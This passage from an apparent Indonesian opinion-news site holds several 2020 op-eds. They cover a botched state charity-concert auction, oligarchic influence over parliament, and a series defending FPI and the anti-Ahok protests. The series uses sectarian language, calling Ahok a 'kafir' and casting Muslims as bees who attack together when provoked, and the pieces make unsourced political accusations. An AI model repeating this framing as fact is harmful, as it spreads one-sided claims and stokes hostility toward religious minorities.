rakyat kepada pemerintah dan para pemimpin di negeri ini. Dalam Konser BPIP tersebut bukan hanya telah terjadi acara lelang kaleng-kaleng alias tipu-tipu, tapi acara tersebut juga telah memberikan contoh yang jelek kepada masyarakat di tengah wabah Covid 19. Dimana pada akhir acara konser itu, Bamsoet bersama para seniman dan artis yang hadir berfoto bersama di atas panggung tanpa mengindahkan aturan soal Physical Distancing. Walaupun kemudian Bamsoet meminta maaf atas kejadian tersebut, namun masyarakat sudah terlanjur tidak simpatil dan kecewa dengan gelaran konser tersebut. Konser bertajuk resmi berbagi kasih ini akhirnya menjadi ambyar setelah terjadi keanehan dan kekacauan dalam acara lelang. Saya jadi penasaran, sebenarnya ada target politis apa yang hendak dicapai Bamsoet melalui konser tersebut? Kepentingan politik apa dibalik pelaksanaan Konser BPIP tersebut? Pertanyaan ini wajar diajukan karena Bamsoet adalah seorang politisi, sehingga setiap langkahnya tentu berdampak politis juga. Wallohualam Bhisawab. Penulis Wartawan Senior.

Jangan Ajari Saya Toleransi dan Pancasila (6): Non Muslim Jangan Mengusik Umat Islam

Di satu sisi diserang dengan kata intoleran, tetapi kenyataan di lapangan jauh berbeda. Ini membuat musuh FPI dan umat Islam kewalahan. Mereka terus berusaja mencari kelemahanFPI. Oleh Mangarahon Dongoran Jakarta, (FNN) - YA, jangan sekali-kali mengusik lebah di sarangnya. Lebah akan kompak mengejar dan menggigit dengan racunnya yang ganas siapa pun yang mengusiknya. Demikian juga Islam. Jangan sekali-sekali ada orang yang menghinanya. Jangan ada orang, kelompoķ dan golongan yang mencoba-coba melukai perasaan umatnya. Mereka akan kompak melakukan pembelaan baik secara fisik maupun non fisik. Penistaan agama oleh Basuki Tjahya Purnama alias Ahoķ merupakan salah satu bukti betapa umat Islam tidak akan tidur ketika agamanya dilecehkan. "Jangan bangunkan macan dari tidurnya," demikian pepatah yang sering kita dengar. Pepatah ini pun ramai muncul ketika Ahok mengungkit Surat Al-Maidah ayat 51. Kenapa umat Islam marah kepada Ahok? Pertama, Ahok seorang kafir yang seenaknya mengutip ayat Al-Qur'an. Kedua, orang kafir tidak memiliki kapasitas untuk mengutip ayat Al-Qur'an demi ambisi politiknya. Ketiga, masyarakat Jakarta, khususnya umat Islam sudah muak dengan tingkah lakunya dalam mengurus Jakarta. Sebab, di awal ia mengurus Jakarta, sudah terang-terangan melarang penyembelihan hewan kurban di sekolah. Artinya, penyembelihannya tidak boleh dilihat anak-anak, karena menurutnya sadis. Padahal, penyembelihan yang disaksikan anak-anak itu merupakan pembelajaran bagi mereka tentang hewan kurban. Kemudian Ahok jugalah yang melarang penjualan hewan kurban di pinggir jalan. Alasannya, kotor. Padahal, cuma setahun sekali. Dia tidak melihat pedagang ikan basah di beberapa tempat di pinggir jalan yang tiap hari menjajalan dagangannya. Sudah pasti jorok dan bau setiap hari, sepanjang pedagang ikan berjualan. Umat Islam marah ke Ahok, bukan marah kepada pengikut Kristen apalagi orang Cina. Hanya saja, banyak pendukungnya yang Kristen dan agama lain, serta keturunan Cina, termasuk dari kalangan Islam yang juga membelanya secara mati-matian dan membabi-buta. Risiko perjuangan Pergerakan melawan Ahok dan kroninya berawal dari markas FPI Petamburan yang langsung dikomandoi Habib Rizieq. Tentu, pergerakan itu juga merupakan rangkaian dari kejelian seorang pejuang Islam, Buni Yani, yang menyebarkan pidato Ahok tentang Al-Maida ayat 51 itu. Buni Yani lah yang membangunkan umat Islam dari tidurnya. Risikonya, ya Buni Yani juga dipenjara. Semoga semua yang dilakukannya membawa keberkahan bagi umat Islam dan Buni Yani beserta keluarganya. Karena pergerakan berawal dari Markas FPI Petamburan, maka sangat wajar juga Ahok dan barisannya atau Ahoker membenci FPI. Oleh karena itu, setiap ada kesempatan, setiap waktu dan setiap saat mereka akan terus menyerang FPI dengan kata-kata intoleran, anti Pancasila, anti NKRI, pendukung khilafah serta syariah dan berbagai macam kata-kata lainnya. Mereka tidak tahu dan tidak sadar betapa umat Islam, termasuk FPI sangat toleran, membela NKRI dan Pancasila. Bukti FPI sangat toleran bisa kita lihat ketika demo terjadi, ada pasangan Kristen yang melakukan perkawinan di gereja dekat Masjid Istiqlal. Malah Laskar Pembela Islam yang merupakan pejuang/pengamanan di FPI membukakan jalan kepada pasangan pengantin dan rombongannya. Jika FPI intoleran, sudah dipastikan agama lain itu tidak akan bisa menembus kerumunan massa hingga sampai ke gereja. Itulah hebatnya FPI. Di satu sisi diserang dengan kata intoleran, tetapi kenyataan di lapangan sangat jauh berbeda. Ini membuat lawan FPI dan umat Islam semakin kewalahan. Mereka terus mencari kelemahan FPI. Maka, berbagai usaha memojokkan dan membubarkan FPI pun terus dilakukan. Kelakuan busuk terus dipertontonkan oleh kaum kafir dan munafik terhadap FPI yang tegas dalam mencegah kemungkaran.(Bersambung)** Penulis, Wartawan Senior.

Skandal M Nuh Beli Gesits: Para Konglomerat Mempermalukan Jokowi

By Asyari Usman Jakarta, FNN - Bukan salah siapa-siapa. Bukan salah M Nuh. Bukan salah penyelenggara konser virtual Berbagi Kasih. Dan bukan juga salah panitia lelang. Yang salah dalam skandal M Nuh gagal membayar harga lelang sepedamotor Gesits dengan tanda tangan Presiden Jokowi itu adalah para konglomerat dan para pengusaha besar yang selama ini mengaku mendukung Jokowi. Ternyata, mereka semua hanya pura-pura mendukung Jokowi. Kalau mereka betul-betul setia pada Jokowi, sepedamotor Gesits yang ditawar M Nuh seharga 2.55 miliar itu bisa dengan mudah menjadi 255 (dua ratus lima piluh lima) miliar. Kalau para konglomerat itu ikut berpartisipasi, uang segitu untuk membayar sepedamotor legendaris milik Jokowi itu menjadi tak seberapa. Toh uang itu akan disumbangkan untuk upaya penanganan Covid-19. Tetapi, mereka itu tidak ada yang peduli dengan konser amal Berbagi Kasih yang diselenggarakan pada 17 Mei 2020 itu. Mereka memilih untuk mempermalukan Jokowi. Juga sangat mempermalukan konsorsium penyelenggara konser yang terdiri dari BPIP, MPR, dan BNPB itu. Sungguh tragis. Lelang sepedamotor legendaris yang ditandatangani Jokowi itu menjadi berantakan di tangan M Nuh yang mengaku sebagai pengusaha tambang. Ke mana saja orang-orang yang punya ‘duit tak berseri’ itu? Kenapa mereka biarkan M Nuh dengan tawaran hanya 2.55 miliar? Apa yang membuat mereka berat membayar 25 miliar atau 255 miliar? Apakah mereka tidak menganggap tanda tangan Jokowi sebagai barang yang berharga? Tidakkah mereka menganggap Jokowi sebagai presiden yang paling historis sejak Indonesia merdeka? Keterlaluan sekali mereka. Dari pengalaman buruk ini, Presiden Jokowi perlu memberikan ‘pelajaran’ kepada para konglomerat yang tega membiarkan lelang Gesits dipermalukan sampai kandas. Jokowi harus meninjau ulang ‘hubungan baik’-nya dengan para konglomerat itu. Pak Jokowi wajar mengeluarkan teguran keras kepada para konglomerat itu. Sebab, ada indikasi bahwa mereka selama ini berbohong mendukung Jokowi. Mereka semua menipu Jokowi.[] 22 Mei 2020(Penulis Wartawan Senior)

Tragedi Lelang Motor di Konser Yang Memalukan

By M. Rizal Fadillah Jakarta FNN – Jum’at (22/05). Kita semua tentu prihatin di ajang kegiatan konser amal Covid 19 Minggu malam (17/05). Terjadi peristiwa diluar dugaan. Pemenang lelang M. Nuh yang menjadi peserta dengan penawar tertinggi Rp. 2,55 miliar, ternyata hanya seorang pekerja buruh. Menurut pengakuan M. Nuh, dirinya tidak memiliki uang sebesar itu. Rupanya perbuatannya hanya iseng atau salah persepsi. Disangka tebak tebakan berhadiah. Sekarang, M. Nuh sang "pengusaha" terpaksa berurusan dengan Kepolisian Daerah Jambi. Memang konser amal "Berbagi Kasih Bersama Bimbo" ini sejak awal kontroversial. Pertama, dilaksanakan di penghujung bulan Ramadhan. Pada saat umat Islam sedang berburu "Lailatul Qadar". Kedua, kurang relevan dilaksanakan oleh Badan Pembinaan Ideologi Pancasila (BPIP) dan Majelis Permusyawaratan Rakyat (MPR). Terlalu jauh kalau lembaga negara sekelas BPIP dan MPR ikut-ikutan sebagai penyelenggara atau sponsor kegiatan. Ketiga, diragukan konsistensi peserta konser dalam menerapkan protokol kesehatan penanganan Covid 19. Baik itu yang berkaitan dengan penggunaan Alat Pelindung Diri (APD), maupun soal menjaga jarak diantara yang hadir. Nuh yang dalam KTP-nya berprofesi sebagai Buruh Harian Lepas, telah sukses dan berhasil mengalahkan Gabriele Mowengkang yang menawar Rp. 2,5 miliar, Maruarar Sirait Rp. 2,2 miliar dan Warren Tanoe Soedibyo Rp. 1,550 miliar. "Jadi, pemenang lelang adalah pengusaha dari Jambi bernama M.Nuh" ujar pembawa acara Choky Sitohang. Ditambah dengan uang yang dari M. Nuh, maka pendapatan konser amal Covid 19 ini menjadi sebesar Rp. 4 miliar. Yang tentu saja masih tekor, sebab bila dibandingkan dengan biaya penyelenggaraan konser, yang konon sebesar Rp. 6 milyar lebih. Tekornya Rp. 2 miliar . Bimbo dan para artis lain yang ikut di acara kon ser tersebut tidak mampu menarik donatur yang memadai. Padahal Presiden, Wapres, Ketua MPR, dan para pejabat tinggi negara juga ikut "menghadiri" acara tersebut. Kemana para taipan dan konglomerat ya? Tragi sekali. Konser amal "kenegaraan" hanya mendapat dana donasi Rp 4 miliar. Itupun yang Rp 2,55 miliar dari hasil "tipu tipu". Konser serupa pernah diadakan oleh Didi Kempot sebelum meninggal dunia. Didi Kempot ketika itu berhasil mengumpulkan sumbangan dari masyarakat sebesar Rp. 5,3 miliar. Padahal tanpa keterlibatan para petinggi negara seperti Presiden atau Ketua MPR. Sebenarnya untuk mengumpulakn dana seperti ini mudah saja. Tanpa dilakukan konser pun Presiden tinggal mengumpulkan para pengusaha besar. Termasuk "naga-naga sembilan". Presiden lalu menyampaikan maksud dan keperluan untuk mengumpulkan para taipan dan konglomerat tersebut. Sangat diyakini bakal dapat dana lebih dari Rp. 4 miliar. Tanpa perlu lelang motor listrik si "gesits" itu. Mestinya memang "gesit" tapi karena "gesits", ya motornya menjadi super gesit. Jadinya blusukan ke mana-mana itu "gesit". Hingga sampai ke Sungai Asam, Pasar Jambi, untuk menemui "pengusaha" M.Nuh. Tiga pelajaran penting yang jadi bahan renungan. Pertama, apapun argumennya melaksanakan konser "kenegaraan" di akhir-akhir malam Ramadhan telah menyinggung umat Islam. Orang lagi bertadarus Qur'a. Prasiden dan Ketua MPR malah bernyanyi nyanyi. Kedua, Pemerintah Jokowi mengevaluasi diri setelah menyiapkan "tipu-tipu" dengan Perppu Corona, kini kena "tipu-tipu" oleh M.Nuh. Ketiga, lembaga BPIP dan MPR harus mulai menata ulang akan fungsinya secara nyata yang benar-benar. Lagi ditunggu dan dibutuhkan rakyat. Bukan konser. Semoga bangsa ini tidak terlalu banyak mendapat sorotan dunia, karena pekerjaan yang dilakukan Presiden, MPR dan BPIP tidak relevan, dan tidak serius. Ada meme kritis dialog dua tokoh dunia. "tahu ngga apa yang dilakukan pejabat-pejabat Indonesia untuk mengatasi Corona ???"-- "Mereka ngapain mbak ?"--"Nyanyi bareng !"--"wkwkwk ambyar". Kasus M. Nuh cukup memalukan. Terjadi di konser yang terbilang "besar". Dibilang besar, karena dengan perhatian dan kepedulian yang besar dari para pembesar negara. Jika M. Nuh memang benar-benar polos. Mungkin saja dia sedang berprasangka baik kepada Pak Jokowi. Biasanya Pak Jokowi sering membagi hadiah sepeda. Karena ini di bulan Ramadhan, mungkin Pak Jokowi mau bersedekah dengan nilai yang lebih besar. Bukan lagi dengan sepeda, tetapi dengan motor listrik "gesits". M. Nuh lalu menebak harganya, dengan Rp 2,55 miliar tersebut. Eh, ternyata dia menang. Penulis adalah Pemerhati Politik dan Kebangsaan.

Jangan Ajari Saya Toleransi dan Pancasila (5): Islam Diusik, Umat Melawan

Perumpamaan umat Islam itu seperti lebah. Jika sarang lebah diganggu, lebahnya marah dan memgejar yang mengganggunya. Demikian juga Agama Islam, jika diusik sedikit saja, umatnya melawan. Oleh : Mangarahon Dongoran Jakarta, FNN - TOLERANSI sangat ditanamkan secara dalam pada ajaran Islam. Sepanjang agama lain tidak mengganggu Islam dan pemeluknya, Islam mengajarkan agar hidup rukun dan berdampingan. Islam merupakan agama yang paling menjunjung tinggi nilai-nilai toleransi. Sejak pertama kali hadir di muka bumi yang dibawa oleh para Rasul Allah, Islam telah mengajarkan nilai toleransi yang dikenal dengan konsep tasamuh yang salah satunya mengatur bagaimana hubungan dengan umat beragama lain. Rasulullah Saw juga hidup berdampingan dengan kaum kafir selama di Mekkah dan Madinah. Bahkan, ada riwayat tentang orang Yahudi yang buta yang selalu meludahi Nabi Muhammad Saw, setiap kali Nabi lewat dan menyuapinya dengan makanan. Si Yahudi buta tidak tahu bahwa yang menyuapinya itu adalah Rasulullah. Setiap kali menyuapi, Yahudi yang buta itu mencaci-maki Rasulullah dan kemudian meludahinya. Dia tidak tahu yang di depannya adalah orang yang dibencinya dan selalu dimaki-makinya. Yahudi yang buta itu baru tahu setelah Rasulullah wafat. Itu pun karena saat menyuapi makanan, sang Yahudi merasa berbeda.Yahudi buta bertanya siapa yang menyuapinya. Kok tidak seperti orang yang selama ini menyuapinya makan dengan tangan lembut. Orang yang ditanya pun menjelaskan bahwa yang menyuapinya selama ini sudah wafat. Orang tersebut adalah Nabi Muhammad Saw. Sang Yahudi menangis dan menyesal karena selama ini telah memaki-maki dan meludahinya. Padahal, orangnya baik dan tidak pernah membalas caci-makinya, apalagi balas meludahinya. Singkat cerita, penyesalan Yahudi yang buta itu ditebusnya dengan mengucapkan dua kalimat syahadat, menyatakan diri masuk Islam atau menjadi mualaf. Perumpamaan Islam itu seperti lebah. Mencari makan, lebah hinggap pada bunga dan menghisap sarinya. Bunga tidak rusak, lebah kenyang dan akhirnya menghasilkan madu. Ajaran Islam juga seperti itu. Islam mengajarkan kebaikan dan hasilnya tentu kebaikan. Lebah, kalau membuat sarang juga tidak merusak dahan, ranting dan bahkan pohon yang kerig sekali pun. Jadi, di mana pun berada, Islam itu tidak akan merusak sekitarnya. Justru sebaliknya, sekitarnyalah yang mencoba mengganggu dan merusak nilai-nIlai ajaran Islam. Lebah tidak merusak bunga yang sarinya dihisap menjadi madu. Lebah tidak mematahkan dahan dan ranting pohon yang menjadi sarangnya. Akan tetapi, jangan sekali-sekali mencoba mengusik lebah di sarangnya, apalagi saat di siang hari. Lebah akan marah dan bersatu mengeroyok siapa pun yang merusak sarangnya, termasuk pawang lebah. Hanya saja kalau pawang sudah tahu cara mengatasinya. Umat Islam Melawan Islam juga sama. Jangan sekali-sekali mengusik dan menyakitinya, apalagi melukainya. Umat Islam di manapun akan bangkit melawannya. Banyak contohnya. Ketika ada kartun yang menghina Rasulullah, umat Islam di seantero bumi bangkit berdemo mengutuknya. Ketika ada film "Fitna" yang juga menghina Rasulullah dan agama Islam, muslim di berbagai belahan dunia bangkit berdemo mengutuknya. Hasilnya, pembuat film itu akhirnya masuk Islam. Ketika Al-Qur'an mau dibakar dan diinjak-injak, umat Islam bangkit melakukan perlawanan. Ketika si Ahok menista Al-Qur'an, umat Islam di Indonesia bangkit, sehingga si penista agama Islam itu dipenjara. Begitulah umat Islam melakukan perlawanan terhadap setiap upaya menghina ajaran Islam. Perjuangan umat Islam, ada yang langsung membuahkan hasil. Ada juga yang perlahan berhasil. Yang jelas, perjuangan umat Islam yang dipimpin para ulama yang diiringi dengan do'a, apalagi doa qunud nazilah, pasti didengar dan dikabulkan Allah Yang Maha Kuasa dan Mendengar. Makanya, sering kita dengar kalimat, mulut ulama itu beracun. (Bersambung)** Penulis, Wartawan Senior

Ramai-Ramai Membunuh Politisi

Oleh Hersubeno Arief Buta yang terburuk adalah buta politik— Berthold Brecht (1898 – 1956)— Jakarta, FNN - Andai saja saat ini dilakukan survei opini publik: Profesi apa yang paling dibenci di Indonesia? Bisa diduga politisi akan menempati salah satu yang teratas. Khususnya mereka yang kini duduk di kursi DPR. Silakan melongok ke berbagai media sosial. Bermacam-macam tagar muncul. Mulai dari #DPRbunuhdiri, #DPRbudakistana, sampai #Killthepolitician meramaikan dunia maya. Keriuhan di dunia maya itu menggambarkan frustrasi publik. Kemarahan di tengah tekanan pandemi dan dampaknya secara sosial dan ekonomi. Mereka perlu katarsis. Pelampiasan. Marah, frustrasi terhadap para politisi di tengah pandemi, bukan hanya monopoli rakyat di Indonesia. Di AS kebencian terhadap Presiden Trump dan para pendukungnya kian memuncak. Acakadutnya penanganan bencana Corona oleh pemerintah menjadikan Trump, bulan-bulanan kemarahan publik. Di Indonesia frustrasi dan kemarahan publik, selain karena kebijakan pemerintah yang tak jelas, buang badan. Juga didorong sikap DPR. Sebagai lembaga yang seharusnya menjadi saluran aspirasi rakyat, DPR hanya membebek. Menyetujui, mendukung apapun yang dilakukan pemerintah. Padahal kebijakan itu dinilai merugikan masyarakat. Mengamputasi dan mengebiri fungsi DPR. DPR juga dicurigai bermain mata, berselingkuh dengan kepentingan para taipan, korporasi besar yang berpesta pora, memanfaatkan bencana.Mereka bergerak cepat. Diam-diam mengesahkan berbagai perundangan. RUU yang sebelumnya jelas-jelas ditolak publik. Mumpung publik lengah. Mumpung civil society sibuk dengan berbagai persoalan lain. Mumpung mahasiswa tidak bergerak. Mumpung media fokus ke bencana dan direpotkan oleh problem kehidupan sehari-hari. Semuanya dikebut. Ketok palu. Langsung diundangkan. Tak peduli tata tertib DPR dilanggar. UU itu bertentangan dengan konstitusi. Bertentangan dengan nalar publik! Yang penting order dari para bohir. Para cukong politik sudah dilaksanakan. Invoice, tagihan bisa dicairkan. Mari kita inventarisir berbagai perundang-undangan yang disahkan DPR di tengah bencana. Yang paling banyak mendapat sorotan adalah pengesahan Perppu No 1 Tahun 2020 tentang Covid. Dari 9 fraksi, hanya PKS yang menentang. Disahkan secara aklamasi. Keberatan publik sudah banyak dibahas. UU ini dinilai lebih mementingkan menyelamatkan kepentingan korporasi dibanding kepentingan rakyat. UU Minerba disahkan. Hanya Demokrat yang tidak setuju. Posisi Demokrat bergantian dengan PKS yang ikut menyetujui. Padahal UU ini dinilai akan menyengsarakan rakyat di sekitar penambangan dan merusak lingkungan. Lagi-lagi UU ini juga hanya menguntungkan korporasi, pengusaha besar. Jika dirunut ke belakang, sangat banyak UU yang disahkan DPR, bertentangan dengan nalar publik. Salah satunya adalah revisi UU KPK yang dianggap menguntungkan dan berpihak kepada koruptor. Dikendalikan para cukong Tudingan bahwa partai politik (Parpol) sudah dikendalikan oleh para cukong, ini bukan asal ngomong. Bukan sekedar sikap curiga dan paranoid. Politisi Golkar yang kini menjadi Ketua MPR Bambang Soesatyo pernah menyampaikan bocoran. Untuk menguasai sebuah Parpol, biayanya sangat murah. Cukup dengan modal Rp 1 Triliun, posisi ketua umum bisa direbut. Setelah itu cukong politik tinggal order kepada sang Ketum. Mengamankan kebijakannya di DPR. Jika ada anggota dewan yang mbalelo, tinggal recall. Ada mekanisme Pergantian Antar Waktu (PAW). Betapa luar biasanya para taipan, cukong politik itu. Mereka inilah yang bekerjasama dengan penguasa, politisi, penegak hukum disebut sebagai kelompok oligarki! Mereka adalah sekelompok kecil elit yang mengendalikan kekuasaan, politik, dan ekonomi.Kamus Merriam-Webster mendifinisikan oligarki sebagai “kelompok kecil orang yang melakukan kontrol terhadap pemerintahan untuk tujuan korupsi ataupun kepentingan diri mereka sendiri”. Di medsos saat ini sedang viral pernyataan pengamat politik senior Fachri Aly. Dia menyatakan politik Indonesia saat ini dikuasai oleh pengusaha. Disebutnya para kapitalis. Kekuatan modal, kata Fachri Aly, saat ini jauh membayang-bayangi dalam sistem demokrasi. Jauh lebih berbahaya dibandingkan pada masa Orde Baru. Pada masa Orde Baru, penguasa yang menciptakan kapitalis. Dan penguasa bisa mengontrol pengusaha. Sebaliknya pengusaha juga hormat kepada pengaturan penguasa. Di masa Soeharto pengusaha tunduk pada penguasa. “Tapi begitu kekuasaan Soeharto rontok, maka para kapitalis itu lah yang menguasai negara,” tegas Fachri. Pernyataan Fachri ini disampaikan dalam sebuah seminar tahun 2015. Namun nampaknya kembali diviralkan karena sangat tepat menggambarkan situasi saat ini. Berharap pada partai dan politisi baru Dengan situasi semacam itu apakah kita harus mengikuti anjuran netizen membunuh para politisi? #Killthepolitician? Membubarkan Parpol karena mereka sudah terbeli dan menjadi alat kepentingan para taipan? Tak ada yang bisa dipercaya? Kembali meminjam pernyataan Berthold Brecht yang dikutip diatas. “Buta paling buruk, adalah buta politik!” Lengkapnya penyair dan dramawan Jerman itu mengatakan: Buta paling buruk, adalah buta politik. Dia tidak mendengar, tidak berbicara, dan tidak berpartisipasi dalam peristiwa politik. Dia tidak tahu bahwa biaya hidup, harga kacang, harga ikan, harga tepung, biaya sewa, harga sepatu dan obat, semua tergantung pada keputusan politik." Dalam negara demokratis, untuk menyampaikan aspirasi tersebut, maka saluran legalnya adalah parpol. Melalui Parpol kita boleh merebut kekuasaan secara legal dan konstitusional. Menentukan harga, dan menentukan siapa yang berkuasa. Jika semua orang baik menolak berpolitik karena dianggap kotor, maka parpol akan hanya diisi orang-orang jahat. Para politisi yang menggadaikan jabatannya menjadi hamba pengusaha. Dengan semangat semacam itu, kita perlu sambut hadirnya parpol baru. SK dari Kemenkumham Partai Gelora yang didirikan duet Anis Matta-Fahri baru saja terbit. Mereka menjadi salah parpol baru pertama yang resmi berbadan hukum. Tinggal mengikuti verifikasi dari KPU. Pendiri PAN Amien Rais juga akan segera mendirikan Parpol baru. Diperkirakan bakal terjadi bedol desa dari PAN. Sebelumnya juga sudah ada wacana menghidupkan kembali Partai Masyumi. Politisi Ahmad Yani menggagas Masyumi Reborn. Dilihat dari latar belakang pengurusnya, semua berakar dari gerakan Islam. Hanya Gelora tampaknya mencoba bergeser ke tengah. Islam-Nasionalis. Eksperimen politik Gelora ini cukup menarik. Mereka mencoba memadukan dan mengakhiri ketegangan politik Islam dan Nasionalis. Polarisasi semacam itu selalu mewarnai perjalanan politik bangsa sejak Indonesia berdiri. Banyak membuang energi bangsa. Partai sempalan PAN, bila dibaca dari statemen Amien Rais tampaknya akan bergerak lebih ke kanan. Lebih Islami. Menjadikan Al Quran sebagai acuan moralnya. Sementara Masyumi Reborn dari namanya punya niat membangkitkan kembali partai Islam yang sempat berjaya di masa lalu. Mudah-mudahan parpol baru ini bisa menjadi parpol alternatif bagi publik yang kecewa dan dikecewakan parpol yang ada saat ini. Bagaimana bila mereka juga ternyata mengecewakan? Silakan saja bila ingin kembali gemakan tagar #Killthepolitician. Bersikaplah santai, sambil mengingat kembali ucapan negarawan asal Inggris Winston Churcill. “Dalam perang Anda hanya bisa terbunuh sekali, tapi dalam politik Anda bisa mati berkali-kali.” Nahhhhhhhh. End Penulis Wartawan Senior.

Jangan Ajari Saya Toleransi dan Pancasila (4): Aksi FPI Menyatukan Umat Menggetarkan Musuh

FPI pengikut Imam Syafi’i yang konsisten dengan do’a qunud, niat usholli dalam setiap shalat, memperingati Maulud Nabi Muhammad Sallahu ‘Alaihi Wasalam, peringatan Isra’ Mi’raj, tahlilan, membaca Yaasin tiap malam Jum’at. Kalau tidak percaya, silahkan datang dan mengikuti pengajian rutin di Markas FPI, Petamburan, Jakarta Pusat. Oleh Mangarahon Dongoran Jakarta, FNN – KEMBALI ke saya yang “berperang” di FB gara-gara penutupan paķsa lapo tuak di Deli Serdang, Sumatera Utara, saya perlu menuliskan banyak hal. Tidak hanya ke saya dan umat Islam, mereka bahkan menuduh Kapolda Sumut Martuani Sormin yang terlalu cepat-cepat menyelesaikan persoalan dengan sejumlah tokoh agama dan tokoh masyarakat Sumatera Utara. Penyelesaian persoalan di luar jalur hukum itu membuat mereka tidak respek atau simpati kepada Martuani Sormin yang juga Kristen. Saya mencoba menjelaskan betapa tokoh masyarakatmengutamakan kepentingan yang lebih luas. Pak Kapolda lebih mengutamakan penyelesaian di luar jalur hukum karena itu dibenarkan sepanjang yang bertikai mau (asalkan tidak sampai ada korban, terutama korban jiwa). Saya jelaskan seperti itu, mereka malah menuliskan kalimat, “Dasar alumni 212.” Saya pun menjawabnya dengan tegas bahwa saya peserta demo 2-12-2016 (atau terkenal 212). Setiap kali reuni pun saya ikut. Insya Allah, jika reuni digelar tiap tahun, saya akan hadir sepanjang saya sehat dan masih hidup. Demo yang dilakukan untuk memenjarakan Basuki Tjahya Purnama atau Ahok si penista Al-Qur’an dan agama Islam. Bahkan, demo sebelum 212 pun saya sudah ikut, yaitu demo 4-11-2016 atau demo 411 yang sempat memanas, karena massa peserta disusupi provokator. “Ya saya peserta dan alumni 212. Apa ada yang salah? Itulah demokrasi. Demontrasi atau unjuk rasa dijamin undang-undang. Coba Anda bikin juga demo tandingan seperti 212, tidak ada masalah,” tulis saya. Maka keluarlah kalimat peserta demo bayaran, nasi bungkus dan demo anarkis dari lawan saya berperang di FB. Saya jawab, yang membayar dan dibayar siapa? Yang suka rebutan nasi bungkus siapa? Yang anarkis siapa? Kalau demo bayaran dan rebutan nasi bungkus, itu sangat tidak masuk akal. Yang datang dari berbagai daerah, mulai dari Sabang sampai Merauke. Ada yang menggunakan pesawat (peserta dari Sumatera Barat malah ada yang mencarter pesawat), naik kapal laut, naik kereta api, menggunakan bus, baik carter maupun sendiri-sendiri, mobil pribadi, sepeda motor dan naik sepeda. Bahkan, ada yang berjalan kaki (peserta dari Ciamis jalan kaki 2 hari 2 malam hingga sampai ke lapangan Monas). Siapa yang mau bayar peserta yang diakui Presiden Joko Widodo lebih dari tujuh juta orang itu. Ada yang memperkirakan lebih dari 13 juta orang. Perisriwa 212 jelas merupakan gambaran persatuan umat. Sebab, mereka datang dari berbagai organisasi Islam, meski kedatangannya secara pribadi. Mereka yang datang terdiri dari lintas mazab. Jelas menggetarkan musuh Islam. Siapa yang punya uang membayar peserta sebanyak itu? Mulai dari ongkos pergi dan pulang, biaya penginapan ( banyak peserta yang menginap di hotel berbintang- bahkan bintang 5). Ada yang menginap di rumah saudara, teman, di masjid dan juga markas panitia peserta. Bahkan, ada juga yang menginap di sekitar Monas, menggelar tikar atau koran, sekedar alas buat duduk dan tidur. Tentang rebutan nasi bungkus, cerita bohong dari mana lagi. Konsumsi, baik makanan dan minuman berlimpah dan berlebihan. Di pintu Timur Monas dekat Stasiun Gambir, saat acara sudah bubar, saya menemukan tiga truk (truk kapasitas 7 ton) bermuatan air mineral yang belum diturunkan. Menurut seorang sopir truk yang saya tanya, air mineral itu sumbangan dari seseorang yang tidak dia ketahui siapa namanya. Selain yang tiga truk itu, katanya, masih ada 2 truk lagi yang belum bisa masuk. Supir truk itu pun mengatakan bingung, air mineral dalam kemasan botol dan gelas itu diturunkan di mana. Perintahnya, diantarkan untuk keperluan peserta demo di Monas. Padahal, acara sudah selesai. Ya, saya sarankan agar diantarkan/diturunkan di pos-pos panitia saja biar aman. Nah kembali ke makanan, saya dan istri beserta teman-temannya juga membawa makan berupa roti dan air mineral dalam botol. Dua mobil minibus saya, dijadikan mengangkutnya, dengan melipat kursi paling belakang. Makanan dan minuman itu dibeli dari uang patungan emak-emak teman istri saya. Selain membeli makanan dan minuman, masih ada sejumlah uang dari urunan dan pribadi yang saya bawa dan mereka minta disampaikan ke FPI. Sempat saya katakan, disampaikan lewat yang lain saja. Akan tetapi, ada seorang Ibu yang tinggal di Belanda – melalui saudaranya yang tinggal di Tangerang – mengatakan hanya percaya pada FPI. Saya lupa berapa kali si Ibu yang tinggal di Belanda itu menyumbang kegiatan lewat FPI. Belum lagi sumbangan dari teman istri saya sewaktu mereka sama-sama di Sekolah Pendidikan Guru (SPG) tahun 1982-1985. Minuman yang kami bawa pun masih tersisa. Kamis malam 1-12-2016 sampai tengah malam saya masih di Markas FPI Petamburan, Tanah Abang, Jakarta Pusat. Sebagai wartawan yang ingin melihat dan mendengarkan sesuai fakta. Selain itu, saya juga membawa uang untuk disetorkan (saya tak mau sebut angkanya). Tetapi, nolnya 6. Dan malam itu entah sumbangan yang ke beberapa kali yang saya bawa ke Markas FPI. Saya nongkrong di Markas FPI sambil mengamati lalu-lalangnya manusia yang datang dari berbagai daerah, termasuk dari Kalimantan, Papua, Aceh dan daerah lainnya. Juga saya mengamati masuknya bantuan makanan, minuman dan bahkan mantel hujan. Mantel hujan yang merupakan sumbangan dari seorang mualaf itu diperkirakan senilai Rp 50 juta lebih. Ya, mantel itu secara simbolis diberikan kepada pimpinan rombongan peserta yang berjalan kaki dari Ciamis, Jawa Barat. Pemberian secara simbolis itu sebagai wujud apresiasi kepada peserta jalan kaki yang sepanjang perjalanan dari Ciamis sampai Jakarta sering diguyur hujan deras. Saya juga menyaksikan beberapa orang yang menyerahkan sumbangan, baik atas nama pribadi maupun organisasi dan kelompok. Saya juga sempat menyaksikan seorang pria menyerahkan uang Rp 10.000.000. Sang pria tersebut mengaku sekampung dengan Ahok. Akan tetapi, dia hanya mau disebutkan sumbangan dari hamba Allah. Menceraikan Istri Ada peristiwa yang sangat memilukan hati saya yang saya dengar dari pria itu. “Tadi siang, saya baru ceraikan istri saya karena kami berseberangan. Saya tidak suka Ahok meski sama-sama dari Bangka Belitung. Istri saya pendukung berat Ahok. Sudah saya nasihati berulangkali, tapi istri tidak mau. Ya, saya ceraikan talak satu,” katanya. Yang mendengarkan ceritanya itu pun bertakbir dan kemudian mendo’akan agar istrinya sadar mengikuti sang suami dan mereka rujuk kembali. Saya juga berbincang-bincang dengan petinggi FPI dan beberapa peserta yang datang dari daerah. Sekitar pukul 22.30 Habib Rizieq dan rombongan tiba di markas dan ĺangsung menuju rumahnya yang berlokasi di sana. Habib Rizieq dan rombongan baru pulang menyelesaikan rapat koordinasi pelaksanaan aksi demo 2-12-2016 di sebuah tempat. Rapat finalisasi, termasuk pembagian tugas shalat Jumat yang disepakati, khatibnya dari NU (pengikut Imam Syafi’i), imamnya boleh dari Muhammadiyah atau ormas Islam lain dengan cacatan, bacaan Surat Al-Faatihah harus didahului dengan bismillah yang 